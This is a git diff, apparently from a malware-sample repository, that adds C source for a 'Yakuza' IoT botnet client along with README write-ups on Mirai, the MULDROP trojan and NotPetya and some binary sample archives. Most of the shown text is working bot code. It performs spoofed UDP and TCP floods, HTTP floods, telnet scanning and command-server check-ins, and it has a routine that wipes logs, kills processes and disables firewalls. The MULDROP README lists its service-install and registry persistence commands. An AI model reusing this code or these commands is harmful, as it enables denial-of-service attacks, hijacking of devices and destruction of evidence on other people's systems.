{"PozHlpiND4xPDPuGE6tq","tg57YSAcuvy2hdBlEWMv","VaDp3Vu5m5bKcfCU96RX","UBWcPjIZOdZ9IAOSZAy6","JezacHw4VfzRWzsglZlF","3zOWSvAY2dn9rKZZOfkJ","oqogARpMjAvdjr9Qsrqj","yQAkUvZFjxExI3WbDp2g","35arWHE38SmV9qbaEDzZ","kKbPlhAwlxxnyfM3LaL0","a7pInUoLgx1CPFlGB5JF","yFnlmG7bqbW682p7Bzey","S1mQMZYF6uLzzkiULnGF","jKdmCH3hamvbN7ZvzkNA","bOAFqQfhvMFEf9jEZ89M","VckeqgSPaAA5jHdoFpCC","CwT01MAGqrgYRStHcV0X","72qeggInemBIQ5uJc1jQ","zwcfbtGDTDBWImROXhdn","w70uUC1UJYZoPENznHXB","EoXLAf1xXR7j4XSs0JTm","lgKjMnqBZFEvPJKpRmMj","lSvZgNzxkUyChyxw1nSr","VQz4cDTxV8RRrgn00toF","YakuzaBotnet","Scarface1337"};+char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];+if (a >= 50)+{+send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);+connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));+if (time(NULL) >= start + secs)+{+close(iSTD_Sock);+_exit(0);+}+a = 0;+}+a++;+}+}+void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);+ if(!sockfd) {+ return;+ }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {+ return;+ }+ int counter = 50;+ while(counter--) {+ srand(time(NULL) ^ rand_cmwc());+ init_rand(rand());+ }+ in_addr_t netmask;+ netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ struct udphdr *udph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);+ udph->len = htons(sizeof(struct udphdr) + packetsize);+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ udph->check = 0;+ makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ udph->source = rand_cmwc();+ udph->dest = (port == 0 ? rand_cmwc() : htons(port));+ iph->id = rand_cmwc();+ iph->saddr = htonl( getRandomIP(netmask) );+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ }+ }+void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {+ register unsigned int pollRegister;+ pollRegister = pollinterval;+ struct sockaddr_in dest_addr;+ dest_addr.sin_family = AF_INET;+ if(port == 0) dest_addr.sin_port = rand_cmwc();+ else dest_addr.sin_port = htons(port);+ if(getHost(target, &dest_addr.sin_addr)) return;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);+ if(!sockfd) { return; }+ int tmp = 1;+ if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }+ in_addr_t netmask;+ if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );+ else netmask = ( ~((1 << (32 - spoofit)) - 1) );+ unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];+ struct iphdr *iph = (struct iphdr *)packet;+ // in case a fag removes my credits. me is scarface.+ struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);+ makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);+ tcph->source = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->ack_seq = 0;+ tcph->doff = 5;+ if(!strcmp(flags, "ALL")) {+ tcph->syn = 1;+ tcph->rst = 1;+ tcph->fin = 1;+ tcph->ack = 1;+ tcph->psh = 1;+ tcph->urg = 1;+ }+ if(!strcmp(flags, "USYN")) {+ tcph->syn = 1;+ tcph->urg = 1;+ }+ if(!strcmp(flags, "ASYN")) {+ tcph->syn = 1;+ tcph->ack = 1;+ }+ else {+ unsigned char *pch = strtok(flags, "-");+ while(pch) {+ if(!strcmp(pch, "SYN")) { tcph->syn = 1;+ } else if(!strcmp(pch, "RST")) { tcph->rst = 1;+ } else if(!strcmp(pch, "FIN")) { tcph->fin = 1;+ } else if(!strcmp(pch, "ACK")) { tcph->ack = 1;+ } else if(!strcmp(pch, "PSH")) { tcph->psh = 1;+ } else if(!strcmp(pch, "URG")) { tcph->urg = 1;+ } else {+ }+ pch = strtok(NULL, ",");+ }+ }+ tcph->window = rand_cmwc();+ tcph->check = 0;+ tcph->urg_ptr = 0;+ tcph->dest = (port == 0 ? rand_cmwc() : htons(port));+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ int end = time(NULL) + timeEnd;+ register unsigned int i = 0;+ while(1) {+ sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ iph->saddr = htonl( getRandomIP(netmask) );+ iph->id = rand_cmwc();+ tcph->seq = rand_cmwc();+ tcph->source = rand_cmwc();+ tcph->check = 0;+ tcph->check = tcpcsum(iph, tcph);+ iph->check = csum ((unsigned short *) packet, iph->tot_len);+ if(i == pollRegister) {+ if(time(NULL) > end) break;+ i = 0;+ continue;+ }+ i++;+ }+}+int socket_connect(char *host, in_port_t port) {+ struct hostent *hp;+ struct sockaddr_in addr;+ int on = 1, sock;+ if ((hp = gethostbyname(host)) == NULL) return 0;+ bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);+ addr.sin_port = htons(port);+ addr.sin_family = AF_INET;+ sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));+ if (sock == -1) return 0;+ if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;+ return sock;+}++void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1];+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uagents[(rand() % 59)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}++void SendHTTPHEX(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1], hex_payload[2048];+ sprintf(hex_payload, "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA");+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, uagents[(rand() % 59)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}++void SendHTTPTXT(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {+ int socket, i, end = time(NULL) + timeEnd, sendIP = 0;+ char request[512], buffer[1], text_payload[2048];+ sprintf(text_payload, "Yakuza Botnet HTTP Flood In Progress. Fuck you.");+ for (i = 0; i < power; i++) {+ sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, text_payload, host, uagents[(rand() % 59)]);+ if (fork()) {+ while (end > time(NULL)) {+ socket = socket_connect(host, port);+ if (socket != 0) {+ write(socket, request, strlen(request));+ read(socket, buffer, 1);+ close(socket);+ }+ }+ exit(0);+ }+ }+}++void SendWGET(unsigned char *url, int end_time)+{+ int end = time(NULL) + end_time;+ FILE *pf;+ char command[80];+ sprintf(command, "wget --no-check-certificate -q -O /tmp/null ");+ strcat(command, url);++ pf = popen(command,"r");++ while(end > time(NULL))+ {+ system(command);+ }++}++void processCmd(int argc, unsigned char *argv[]) {+ if(!strcmp(argv[0], "ICMP"))+ {+ return;+ }+ if(!strcmp(argv[0], "TELNET"))+ {+ if(!strcmp(argv[1], "ON"))+ {++ uint32_t parent;+ parent = fork();+ int ii = 0;+ int forks = sysconf( _SC_NPROCESSORS_ONLN );+ int fds = 999999;+ if(forks == 1) fds = 500;+ if(forks >= 2) fds = 1000;+ if (parent > 0)+ {+ scanPid = parent;+ return;+ }+ else if(parent == -1) return;++ for (ii = 0; ii < forks; ii++)+ {+ srand((time(NULL) ^ getpid()) + getppid());+ init_rand(time(NULL) ^ getpid());+ TelnetScanner(100, fds);+ _exit(0);+ }+ }+ if(!strcmp(argv[1], "OFF"))+ {+ if(scanPid == 0) return;++ kill(scanPid, 9);+ scanPid = 0;+ }+ if(!strcmp(argv[1], "FLOAD"))+ {+ int threads = atoi(argv[1]);+ int usec = atoi(argv[2]);+ if(!listFork())+ {+ sockprintf(mainCommSock, "FLoad Mode Activated");+ TelnetScanner(usec, threads);+ _exit(0);+ }+ return;+ }+ }++ if (!strcmp(argv[0], "HTTP"))+ {+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }+ ´+ if (!strcmp(argv[0], "HTTPHEX"))+ {+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTPHEX(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }++ if (!strcmp(argv[0], "HTTPTXT"))+ {+ if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;+ if (listFork()) return;+ SendHTTPTXT(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));+ exit(0);+ }++ if(!strcmp(argv[0], "WGET"))+ {+ if(argc < 3 || atoi(argv[2]) < 1)+ {+ return;+ }++ unsigned char *ip = argv[1];+ int time = atoi(argv[2]);++ if(strstr(ip, ",") != NULL)+ {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL)+ {+ if(!listFork())+ {+ int i = 0;+ while(i < 10){+ SendWGET(ip, time);+ i++;+ }+ close(mainCommSock);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (listFork()) { return; }+ int i = 0;+ while(i < 10){+ SendWGET(ip, time);+ i++;+ }+ close(mainCommSock);++ _exit(0);+ }+ }+ if(!strcmp(argv[0], "UDP"))+ {+ // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))+ {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ int packetsize = atoi(argv[4]);+ int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);+ int spoofed = 32;+ if(strstr(ip, ",") != NULL)+ {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL)+ {+ if(!listFork())+ {+ SendUDP(hi, port, time, packetsize, pollinterval, spoofed);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (listFork())+ {+ return;+ }+ SendUDP(ip, port, time, packetsize, pollinterval, spoofed);+ _exit(0);+ }+ }+ if(!strcmp(argv[0], "TCP"))+ {+ if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))+ {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ unsigned char *flags = argv[4];+ int pollinterval = argc == 7 ? atoi(argv[6]) : 10;+ int packetsize = argc > 5 ? atoi(argv[5]) : 0;+ int spoofed = 32;+ if(strstr(ip, ",") != NULL) {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL) {+ if(!listFork()) {+ SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (listFork())+ {+ return;+ }+ SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);+ _exit(0);+ }+ }+ if(!strcmp(argv[0], "STD"))+ {+ if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)+ {+ return;+ }+ unsigned char *ip = argv[1];+ int port = atoi(argv[2]);+ int time = atoi(argv[3]);+ if(strstr(ip, ",") != NULL)+ {+ unsigned char *hi = strtok(ip, ",");+ while(hi != NULL)+ {+ if(!listFork())+ {+ SendSTD(hi, port, time);+ _exit(0);+ }+ hi = strtok(NULL, ",");+ }+ } else {+ if (listFork())+ {+ return;+ }+ SendSTD(ip, port, time);+ _exit(0);+ }+ }+ if(!strcmp(argv[0], "STOP"))+ {+ int killed = 0;+ unsigned long i;+ for (i = 0; i < numpids; i++)+ {+ if (pids[i] != 0 && pids[i] != getpid())+ {+ kill(pids[i], 9);+ killed++;+ }+ }+ if(killed > 0)+ {+ //+ } else {+ //+ }+ }+}+ if(!strcmp(argv[0], "CLEAN"))+ {+ CleanDevice();+ sockprintf(mainCommSock, "[Cleaning] [%s:%s]", getBuild(), getEndianness());+ }+}+int initConnection() {+ unsigned char server[512];+ memset(server, 0, 512);+ if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }+ if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;+ else currentServer++;+ strcpy(server, commServer[currentServer]);+ int port = 23;+ if(strchr(server, ':') != NULL) {+ port = atoi(strchr(server, ':') + 1);+ *((unsigned char *)(strchr(server, ':'))) = 0x0;+ }+ mainCommSock = socket(AF_INET, SOCK_STREAM, 0);+ if(!connectTimeout(mainCommSock, server, port, 30)) return 1;+ return 0;+}+void UpdateNameSrvs() {+ uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);+ if (access("/etc/resolv.conf", F_OK) != -1) {+ const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";+ size_t resl = strlen(resd);+ write(fhandler, resd, resl);+ } else { return; }+ close(fhandler);+}+void CleanDevice() {+ system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");+ system("rm -rf /var/log/wtmp");+ system("rm -rf /tmp/*");+ system("rm -rf /bin/netstat");+ system("iptables -F");+ system("pkill -9 busybox");+ system("pkill -9 perl");+ system("pkill -9 python");+ system("service iptables stop");+ system("/sbin/iptables -F; /sbin/iptables -X");+ system("service firewalld stop");+ system("rm -rf ~/.bash_history");+ system("history -c");+}+int getEndianness(void)+{+ union+ {+ uint32_t vlu;+ uint8_t data[sizeof(uint32_t)];+ } nmb;+ nmb.data[0] = 0x00;+ nmb.data[1] = 0x01;+ nmb.data[2] = 0x02;+ nmb.data[3] = 0x03;+ switch (nmb.vlu)+ {+ case UINT32_C(0x00010203):+ return "BIG_ENDIAN";+ case UINT32_C(0x03020100):+ return "LITTLE_ENDIAN";+ case UINT32_C(0x02030001):+ return "BIG_ENDIAN_W";+ case UINT32_C(0x01000302):+ return "LITTLE_ENDIAN_W";+ default:+ return "UNKNOWN";+ }+}+int main(int argc, unsigned char *argv[]) {+ const char *lolsuckmekid = "";+ if(SERVER_LIST_SIZE <= 0) return 0;+ strncpy(argv[0],"",strlen(argv[0]));+ argv[0] = "";+ prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);+ srand(time(NULL) ^ getpid());+ init_rand(time(NULL) ^ getpid());+ pid_t pid1;+ pid_t pid2;+ int status;+ if (pid1 = fork()) {+ waitpid(pid1, &status, 0);+ exit(0);+ } else if (!pid1) {+ if (pid2 = fork()) {+ exit(0);+ } else if (!pid2) {+ } else {+ }+ } else {+ }+ chdir("/");+ setuid(0);+ seteuid(0);+ signal(SIGPIPE, SIG_IGN);+ while(1) {+ if(fork() == 0) {+ if(initConnection()) { sleep(5); continue; }+ sockprintf(mainCommSock, "[\e[96mBOT JOINED\e[97m] Arch: \e[96m%s \e[97m|| Type: %s]", getBuild(), getEndianness());+ UpdateNameSrvs();+ CleanDevice();+ char commBuf[4096];+ int got = 0;+ int i = 0;+ while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {+ for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {+ unsigned int *newpids, on;+ for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];+ pids[on - 1] = 0;+ numpids--;+ newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));+ for (on = 0; on < numpids; on++) newpids[on] = pids[on];+ free(pids);+ pids = newpids;+ }+ commBuf[got] = 0x00;+ trim(commBuf);+ if(strstr(commBuf, "ICMP") == commBuf) { // ICMP+ continue;+ }+ if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP+ unsigned char *message = commBuf;+ if(*message == '!') {+ unsigned char *nickMask = message + 1;+ while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;+ if(*nickMask == 0x00) continue;+ *(nickMask) = 0x00;+ nickMask = message + 1;+ message = message + strlen(nickMask) + 2;+ while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;+ unsigned char *command = message;+ while(*message != ' ' && *message != 0x00) message++;+ *message = 0x00;+ message++;+ unsigned char *tmpcommand = command;+ while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }+ unsigned char *params[10];+ int paramsCount = 1;+ unsigned char *pch = strtok(message, " ");+ params[0] = command;+ while(pch) {+ if(*pch != '\n') {+ params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);+ memset(params[paramsCount], 0, strlen(pch) + 1);+ strcpy(params[paramsCount], pch);+ paramsCount++;+ }+ pch = strtok(NULL, " ");+ }+ processCmd(paramsCount, params);+ if(paramsCount > 1) {+ int q = 1;+ for(q = 1; q < paramsCount; q++) {+ free(params[q]);+ }+ }+ }+ }+ }+ return 0;+ }+}\ No newline at end of filediff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.jpg b/Malwares/Advanced Malware/Mirai-Family/Mirai.jpgnew file mode 100644index 0000000..092036cBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.jpg differdiff --git a/Malwares/Advanced Malware/Mirai-Family/README.md b/Malwares/Advanced Malware/Mirai-Family/README.mdnew file mode 100644index 0000000..2b8e6ae--- /dev/null+++ b/Malwares/Advanced Malware/Mirai-Family/README.md@@ -0,0 +1,26 @@+## Mirai Botnet+++Mirai is a malware that turns networked devices running Linux into remotely controlled bots that can be used as part of a botnet in large-scale network attacks. Mirai is a type of malware that targets consumer devices like smart cameras and home routers, turning them into a zombie network of remote controlled bots. Mirai botnets are used by cybercriminals to target computer systems in massive distributed denial of service (DDoS) attacks. The Mirai botnet was first found in August 2016 by MalwareMustDie, a white hat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs' web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack. Mirai was named after the 2011 TV anime series Mirai Nikki.++## Infection+First, Mirai malware scans IP addresses to identify smart devices running a version of Linux known as ARC. Then, Mirai exploits security vulnerabilities in the IoT device to gain network access via default username and password combinations. If these settings haven’t been changed or updated, Mirai can log in to the device and infect it with malware.++As the number of devices caught in the infected network mount, the cybercriminals in control then use the Mirai botnets to crash targeted websites or servers by bombarding it with more traffic that it can handle. The site or service will remain inaccessible to normal users until the DDoS attack is resolved, which increasingly involves the payment of a ransom.++As the number of devices caught in the infected network mount, the cybercriminals in control then use the Mirai botnets to crash targeted websites or servers by bombarding it with more traffic that it can handle. The site or service will remain inaccessible to normal users until the DDoS attack is resolved, which increasingly involves the payment of a ransom.++Once Mirai has infected a smart device, it turns it into another zombie in an army of remotely controlled bots. Mirai will even purge any pre-existing malware to ensure the device is securely locked into the botnet — all without the consent or knowledge of the owner.++Under the control of the botnet creator, IoT hardware can then be forced to scan networks for other vulnerable devices to exploit, ensnaring yet more victims in the Mirai botnet. And since most smart homes are not equipped with comprehensive network security, smart devices remain vulnerable to Mirai and other IoT botnets.++## Who is under threat+Most devices that the Mirai botnet attacks are home routers and cameras, but almost any smart device is susceptible to IoT botnets. The same network connection that gives robot vacuums, IP intercoms, kitchen appliances, and smart vehicles their functionality in a smart home is also a potential backdoor for malware.++There are some parts of the IoT which are impervious to Mirai, but this is because the malware’s creators programmed their code not to attack certain IP addresses, such as those owned by the US Department of Defense.++## Why so Dangerous and feared.+Mirai botnets are particularly dangerous because they’re used in DDoS attacks, which can be commercially devastating and extremely difficult to stop. DDoS attacks have forced businesses to cough up large ransoms in several high-profile cases.+In addition to DDoS attacks, IoT botnets can hold devices hostage with ransomware, spread spam emails, and perpetrate click-fraud to harvest personal data and sensitive financial information...++diff --git a/Malwares/Advanced Malware/Muldrop/README.md b/Malwares/Advanced Malware/Muldrop/README.mdnew file mode 100644index 0000000..4f8e297--- /dev/null+++ b/Malwares/Advanced Malware/Muldrop/README.md@@ -0,0 +1,73 @@+## Trojan.Win32.MULDROP.AB++Infection++This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.++Installation++This Trojan adds the following processes:++ %System%\Robocopy.exe robocopy Install\Install_UI\m_driv %Windows%\Resource /mir+ sc create "Windows Resource Kit" start= auto error= ignore binpath= "%Windows%\srvany.exe"+ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windows Resource Kit\Parameters" /v Application /t REG_SZ /d "%Windows%\Resource\run.exe" /f+ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windows Resource Kit\Parameters" /v AppDirectory /t REG_SZ /d "%Windows%\Resource" /f+ setx path "%All Users Profile%\Oracle\Java\javapath;%System%;%Windows%;%System%\Wbem;%System%\WindowsPowerShell\v1.0\;%System Root%\Python27;%System Root%\Python27\Scripts;%Windows%\Resource"+ Install\r.exe++(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)++It creates the following folders:++ %Windows%\Resource++(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)++Autostart Technique++This Trojan registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:++HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\+Services\Windows Resource Kit+ImagePath = "%Windows%\srvany.exe"++Other System Modifications++This Trojan adds the following registry entries:++HKEY_CURRENT_USER\Software\Microsoft\+ResKit\Robocopy+WaitTime = "30000"++HKEY_CURRENT_USER\Software\Microsoft\+ResKit\Robocopy+RetryMax = "1000000"++HKEY_CURRENT_USER\Software\Microsoft\+ResKit\Robocopy+JobDir = "::"++HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\+services\Windows Resource Kit\Parameters+Application = "%Windows%\Resource\run.exe"++HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\+services\Windows Resource Kit\Parameters+AppDirectory = "%Windows%\Resource"++HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\+Services\Windows Resource Kit+DisplayName = ""++HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\+Services\Windows Resource Kit+Start = "SERVICE_AUTO_START"++It modifies the following registry entries:++HKEY_CURRENT_USER\Environment+path = "{random characters}"++(Note: The default value data of the said registry entry is %Program Files%\Microsoft Visual Studio\Common\Tools\WinNT;%Program Files%\Microsoft Visual Studio\Common\MSDev98\Bin;%Program Files%\Microsoft Visual Studio\Common\Tools;%Program Files%\Microsoft Visual Studio\VC98\bin.)++This report is generated via an automated analysis system.diff --git a/Malwares/Advanced Malware/Muldrop/smb-37n0gip7.7z b/Malwares/Advanced Malware/Muldrop/smb-37n0gip7.7znew file mode 100644index 0000000..76668c5Binary files /dev/null and b/Malwares/Advanced Malware/Muldrop/smb-37n0gip7.7z differdiff --git a/Malwares/Advanced Malware/Muldrop/smb-e7_udot9.7z b/Malwares/Advanced Malware/Muldrop/smb-e7_udot9.7znew file mode 100644index 0000000..4ed8afaBinary files /dev/null and b/Malwares/Advanced Malware/Muldrop/smb-e7_udot9.7z differdiff --git a/Malwares/Advanced Malware/Muldrop/smb-ncqut0ao.7z b/Malwares/Advanced Malware/Muldrop/smb-ncqut0ao.7znew file mode 100644index 0000000..69ec0a9Binary files /dev/null and b/Malwares/Advanced Malware/Muldrop/smb-ncqut0ao.7z differdiff --git a/Malwares/Advanced Malware/Muldrop/smb-zlm7d8hi.7z b/Malwares/Advanced Malware/Muldrop/smb-zlm7d8hi.7znew file mode 100644index 0000000..1e20ebeBinary files /dev/null and b/Malwares/Advanced Malware/Muldrop/smb-zlm7d8hi.7z differdiff --git a/Malwares/Advanced Malware/NotPetya/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745-20170707033827.zip b/Malwares/Advanced Malware/NotPetya/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745-20170707033827.zipnew file mode 100644index 0000000..2052f98Binary files /dev/null and b/Malwares/Advanced Malware/NotPetya/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745-20170707033827.zip differdiff --git a/Malwares/Advanced Malware/NotPetya/README.md b/Malwares/Advanced Malware/NotPetya/README.mdnew file mode 100644index 0000000..00a8573--- /dev/null+++ b/Malwares/Advanced Malware/NotPetya/README.md@@ -0,0 +1,59 @@+# ☠️☠️ NOTPETYA RANSOMWARE ☠️☠️+ ++++A series of powerful cyberattacks using the Petya malware began on 27 June 2017 that swamped websites of Ukrainian organizations, including banks, ministries, newspapers and electricity firms. Similar infections were reported in France, Germany, Italy, Poland, Russia, United Kingdom, the United States and Australia.++NotPetya accidentally took down global shipping giant Maersk+Sandworm ad hijacked the firm's update servers early in 2017, and this gave them back-door access to the thousands of computers running M.E.Doc. That June, Sandworm released a particularly vicious cyberweapon called NotPetya, which spread rapidly and automatically. The business interruption to Maersk, the world's largest container ship and supply vessel operator, was estimated between $200m and $300m in lost revenues. The business impact on FedEx is estimated to be $400m in 2018, according to the company's 2019 annual report.++## HOW DOES IT WORK+++## ==> TYPE:+ NotPetya was a modified version of Petya, using two known exploits for older Windows versions: EternalBlue and Mimikatz. The former is a digital skeleton key that was disclosed in a catastrophic NSA data breach in early 2017. It enables outsiders remote access to run their own code.++## ==> Modus Operandi:+ 